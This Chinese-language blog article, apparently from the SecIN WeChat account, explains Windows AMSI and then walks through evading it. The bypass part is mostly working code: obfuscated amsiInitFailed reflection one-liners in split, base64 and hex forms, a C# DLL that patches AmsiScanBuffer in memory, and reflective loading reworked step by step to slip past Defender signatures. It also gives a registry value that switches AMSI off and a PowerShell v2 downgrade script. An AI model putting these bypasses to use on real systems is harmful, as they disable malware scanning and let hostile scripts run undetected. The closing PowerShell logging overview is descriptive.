原创 | AMSI 浅析及绕过

  • A+
所属分类:安全文章
原创 | AMSI 浅析及绕过
点击上方蓝字 关注我吧


0x00 前言


原创 | AMSI 浅析及绕过

0x01  AMSI浅析

原创 | AMSI 浅析及绕过


1、什么是AMSI?


AMSI(Antimalware Scan Interface),即反恶意软件扫描接口,在windows 10和 windows server 2016上默认安装并启用。顾名思义,他的工作就是扫描、检测和阻止。windows 10和windows server2016中AMSI默认杀软就是Windows Defender。


2、AMSI是如何运作的?


服务和应用程序可以通过AMSI来与系统中已安装的反病毒软件进行通信,也就是Windows Defender,AMSI采用了hook方法进行检测,详细的工作原理如下:

  • 创建PowerShell进程时,AMSI.DLL将从磁盘加载到其内存地址空间。
  • 在AMSI.DLL中,有一个名为AmsiScanBuffer()的函数,是用来扫描脚本内容的函数。
  • 在PowerShell中执行命令时,任何内容都将首先发送到AmsiScanBuffer(),然后再执行。
  • 随后,AmsiScanBuffer()将Windows Defender检查,以确定是否创建了任何签名。
  • 如果该内容被认为是恶意的,它将被阻止运行。

在Windows 10上,实现AMSI的所有组件如下:

  • 用户帐户控制,或UAC(EXE、COM、MSI或ActiveX时的权限提升)
  • Powershell(脚本、交互式使用和动态代码执行)
  • Windows脚本主机(wscript.exe和cscript.exe)
  • JavaScript和VBScript
  • Office VBA宏

AMSI的整体架构如图所示:

原创 | AMSI 浅析及绕过


原创 | AMSI 浅析及绕过

0x02  绕过AMSI检测

原创 | AMSI 浅析及绕过


注:AMSI使用“基于字符串的”检测措施来确定PowerShell代码是否恶意。


1、绕过字符串检测


先查看一个示例:

原创 | AMSI 浅析及绕过

如图,"amsiutils" 这个词被禁止了,AMSI认为这是一个恶意攻击。

那我们如何绕过字符串检测呢,最简单的一个方法就是使用编码或者分割成块,然后拼接来绕过

下面列出三钟方法

(1)直接把单词分成两块或者多块然后进行拼接,达到绕过的效果,但在大多数情况下可能会失败

原创 | AMSI 浅析及绕过

(2)进行base64编码直接绕过AMSI,在某些情况下,base64一下直接绕过去了

原创 | AMSI 浅析及绕过

(3)使用XOR来绕过AMSI,并在运行时将字符串解码回内存。这比上面的base64方法更有效

原创 | AMSI 浅析及绕过

当然还有其他编码方式可以自行尝试,上面这几种方法都是为了绕过"字符串检测",但是实际过程中,我们需要执行我们的脚本,也就脚本被AMSI阻止,我们通过一个实例来演示下绕过AMSI。

最早的绕过AMSI的方法是16年一个老外发布的,命令如下
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)


我们把它放到powershell中运行,直接被AMSI阻止


原创 | AMSI 浅析及绕过

因此,我们尝试上面方法,分割重组来实现一个简单的AMSI 绕过
$a = [Ref].Assembly.GetType('System.Management.Automation.AmsiUtils')$b = $a.GetField('amsiInitFailed','NonPublic,Static')$b.SetValue($null,$true)

然后我们尝试单行执行此命令,我们可以看到前两行被AMSI阻止

原创 | AMSI 浅析及绕过

所以,我们重新调整一下我们的代码,然后我们就绕过了AMSI,加载了我们的脚本
$a = 'System.Management.Automation.A';$b = 'ms';$c = 'Utils'$d = [Ref].Assembly.GetType(('{0}{1}i{2}' -f $a,$b,$c))$e = $d.GetField(('a{0}iInitFailed' -f $b),'NonPublic,Static')$e.SetValue($null,$true)

当然也可以使用base64编码,或者使用hex编码,效果都是一样的

base64编码
[Ref].Assembly.GetType('System.Management.Automation.'+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('QQBtAHMAaQBVAHQAaQBsAHMA')))).GetField($([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('YQBtAHMAaQBJAG4AaQB0AEYAYQBpAGwAZQBkAA=='))),'NonPublic,Static').SetValue($null,$true)

hex编码

[Ref].Assembly.GetType('System.Management.Automation.'+$("41 6D 73 69 55 74 69 6C 73".Split(" ")|forEach{[char]([convert]::toint16($_,16))}|forEach{$result=$result+$_};$result)).GetField($("61 6D 73 69 49 6E 69 74 46 61 69 6C 65 64".Split(" ")|forEach{[char]([convert]::toint16($_,16))}|forEach{$result2=$result2+$_};$result2),'NonPublic,Static').SetValue($null,$true)


原创 | AMSI 浅析及绕过


2、通过Memory Patching绕过AMSI


这种方法并没有实际的绕过,而是禁用了AMSI,从powershell3.0开始,我们要完全绕过AMSI并执行任意powershell脚本的话,就需要完全禁用它

这是原作者的代码,把如下代码编译成C#的DLL,使用反射加载技术
using System;using System.Runtime.InteropServices;
namespace Bypass{ public class AMSI { [DllImport("kernel32")] public static extern IntPtr GetProcAddress(IntPtr hModule, string procName); [DllImport("kernel32")] public static extern IntPtr LoadLibrary(string name); [DllImport("kernel32")] public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);
[DllImport("Kernel32.dll", EntryPoint = "RtlMoveMemory", SetLastError = false)] static extern void MoveMemory(IntPtr dest, IntPtr src, int size);

public static int Disable() { IntPtr TargetDLL = LoadLibrary("amsi.dll"); if (TargetDLL == IntPtr.Zero) { Console.WriteLine("ERROR: Could not retrieve amsi.dll pointer."); return 1; }
IntPtr AmsiScanBufferPtr = GetProcAddress(TargetDLL, "AmsiScanBuffer"); if (AmsiScanBufferPtr == IntPtr.Zero) { Console.WriteLine("ERROR: Could not retrieve AmsiScanBuffer function pointer"); return 1; }
UIntPtr dwSize = (UIntPtr)5; uint Zero = 0; if (!VirtualProtect(AmsiScanBufferPtr, dwSize, 0x40, out Zero)) { Console.WriteLine("ERROR: Could not change AmsiScanBuffer memory permissions!"); return 1; }
Byte[] Patch = { 0x31, 0xff, 0x90 }; IntPtr unmanagedPointer = Marshal.AllocHGlobal(3); Marshal.Copy(Patch, 0, unmanagedPointer, 3); MoveMemory(AmsiScanBufferPtr + 0x001b, unmanagedPointer, 3);
Console.WriteLine("AmsiScanBuffer patch has been applied."); return 0; } }}


命名为"source.cs"

然后我们使用powershell来编译它,在同目录下打开powershell,运行以下命令编译
Add-Type -TypeDefinition ([IO.File]::ReadAllText("$pwdSource.cs")) -ReferencedAssemblies "System.Windows.Forms" -OutputAssembly "Bypass-AMSI.dll"

编译后运行,直接被Defender给秒了(这里我把文件还原了一下,给大家看下效果图)


原创 | AMSI 浅析及绕过

然后我们把dll文件进行base64编码****(Kali下,直接使用base64-i文件名,就可以得到base64编码)****,然后使用powershell进行武器化,反射加载,也是直接被秒
unction Bypass-AMSI{    if(-not ([System.Management.Automation.PSTypeName]"Bypass.AMSI").Type) {        [Reflection.Assembly]::Load([Convert]::FromBase64String("你的base64编码")) | Out-Null        Write-Output "DLL has been reflected";    }    [Bypass.AMSI]::Disable()}


如图,直接被秒

原创 | AMSI 浅析及绕过

通过上面的知识,我们知道AMSI是基于字符串的检测**,那我们就用工具去定位一下查杀点在哪。**

工具地址:
https://github.com/RythmStick/AMSITrigger

原创 | AMSI 浅析及绕过

如上图所示,我们定位出查杀点是****"Bypass-AMSI、Bypass.AMSI、和一些base64中的一些字段"****。下面,我们尝试对我们的脚本进行一个免杀处理,我们直接base64编码转换成byte数组
 $string = '' $a = [System.Convert]::FromBase64String('你的base64编码') $a | foreach {$string = $string + $_.ToString()+','} $string


原创 | AMSI 浅析及绕过

然后修改我们的源代码,加载数组
function Bypass-AMSI{    if(-not ([System.Management.Automation.PSTypeName]"Bypass.AMSI").Type) {        [Reflection.Assembly]::Load([byte[]]@(这里是上面得到的byte数组)) | Out-Null        Write-Output "DLL has been reflected";    }    [Bypass.AMSI]::Disable();}


然后我们再去检测一下,这次只剩下****"Bypass-AMSI、Bypass.AMSI"****关键字

原创 | AMSI 浅析及绕过

这里,如果我们直接修改这几个关键字会导致脚本运行直接报错,因为这个是运用的反射方法,不了解反射的小伙伴,去Google一下,这里我们直接修改前面的source.cs中的代码,只需要修改
namespace、public class即可,如下图

原创 | AMSI 浅析及绕过

然后编译成DLL,进行base64编码,然后转换byte数组,然后修改ps1脚本,修改完的如下:

原创 | AMSI 浅析及绕过

测试下效果,已经绕过AMSI

原创 | AMSI 浅析及绕过


3、禁用AMSI


修改注册表,将
HKCUSoftwareMicrosoftWindows ScriptSettingsAmsiEnable
的值置为0

当然关闭Windows Defender 也可以使系统自带的AMSI检测无效化,这里注意当前权限。

原创 | AMSI 浅析及绕过

然后直接执行命令和加载脚本都不会拦截

原创 | AMSI 浅析及绕过


4、powershell版本降级绕过


powershell v2 版本不支持AMSI,我们可以将目标主机中的powershell降级至powershell v2版本。

代码如下:
if ($ShowOnly -eq $True){        Write-Output "If .Net version 2.0.50727 is installed, run powershell -v 2 and run scripts from the new PowerShell process."}else{        Write-Verbose "Checking if .Net version 2.0.50727 is installed."        $versions = Get-ChildItem 'HKLM:SOFTWAREMicrosoftNET Framework SetupNDP' -recurse | Get-ItemProperty -name Version -EA 0 | Where { $_.PSChildName -match '^(?!S)p{L}'} | Select -ExpandProperty Version    if($versions -match "2.0.50727")    {            Write-Verbose ".Net version 2.0.50727 found."            Write-Output "Executing the bypass."            powershell.exe -version 2    }    else    {            Write-Verbose ".Net version 2.0.50727 not found. Can't start PowerShell v2."    }}


保存为 V2.ps1,运行即可绕过AMSI

原创 | AMSI 浅析及绕过


5、一键Bypass AMSI


这里使用的是一个在线平台,平台可以直接生成powershell代码,这些代码可以直接破坏或者禁用当前进程的AMSI,每次生成的代码都是被混淆的,所以完全不担心会被检测到。
地址:https://amsi.fail/

效果如下图:

原创 | AMSI 浅析及绕过


6、其他一些方法


利用反射将内存中AmsiScanBuffer方法的检测长度置为0

脚本地址:
https://gist.github.com/shantanu561993/6483e524dc225a188de04465c8512909

直接本地或者远程加载即可绕过AMSI

原创 | AMSI 浅析及绕过

Nishang也自带了bypassamsi的脚本,自行做免杀,避免上传被秒

地址:
https://github.com/samratashok/nishang/blob/master/Bypass/Invoke-AmsiBypass.ps1

其他一些过时的方法,我就不加了

原创 | AMSI 浅析及绕过

0x03  powershell日志浅析

原创 | AMSI 浅析及绕过

上面咱们说完了怎么绕过AMSI,下面咱们来说下powershell日志。

默认情况下,这四种日志功能默认是不开启的,但是在实际渗透中,系统肯定是默认开启日志记录的

原创 | AMSI 浅析及绕过

关于日志的查看方法在事件查看器中**,下面我们来分别看下这四种**日志类型

1、模块(module)日志

事件ID:4103
路径:
Microsoft > Windows > PowerShell/Operational
作用:可以为 powershell 模块启动日志记录

原创 | AMSI 浅析及绕过

使用
Get-Module -ListAvailable可以获取可用的模块名

原创 | AMSI 浅析及绕过

2、管道执行(pipeline execute)日志

事件ID:800

路径:事件管理器 > 应用程序和服务日志 > Windows PowerShell

作用:记录 powershell 管道执行过程的事件简介

原创 | AMSI 浅析及绕过

3、脚本块(script block)日志

事件id:4104
路径:
Microsoft > Windows > PowerShell/Operational
作用:powershell 讲记录命令、脚本块、函数和脚本的处理

原创 | AMSI 浅析及绕过

4、脚本转换(transcripttion)日志

可以将 powershell 命令的输入和输出捕获到文本中

原创 | AMSI 浅析及绕过

四种日志记录内容的对比

日志详情 模块日志 管道执行日志 脚本块日志 脚本转换日志
执行命令 有(包括脚本内容)
上下文信息
参数绑定详情
解码/解混淆代码
命令输出


powershell 每个版本对日志功能的对比


日志类型 V2版本 V3版本 V4版本 V5版本
模块日志 支持 支持(V3增强) 支持
管道执行日志 支持 支持 支持 支持
脚本块日志 支持 支持(自动记录恶意命令)
脚本转换日志 支持 支持(V4增强)


不同操作系统默认的powershell版本


操作系统 默认Powershell版本 可支持Powershell版本
Windows Server 2008(SP2) 2.0 3.0
Windows Server 2008 R2(SP1) 5.1 5.1
Windows Server 2012 3.0 5.1
Windows Server 2012(R2) 4.0 5.1
Windows 7(SP1) 5.1 5.1
Windows 8 3.0 5.1
Windows 8.1 4.0 5.1
Windows 10 5.0 5.1#

相关推荐




活动 | 炎炎夏日,SecIN重金征稿,喊你来参加!
原创 | 白说:php反序列化之pop链
原创 | 身临其境之谁是猎人
原创 | MybatisPuls分页插件中的SQL注入

原创 | AMSI 浅析及绕过
你要的分享、在看与点赞都在这儿~

本文始发于微信公众号(SecIN技术平台):原创 | AMSI 浅析及绕过

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: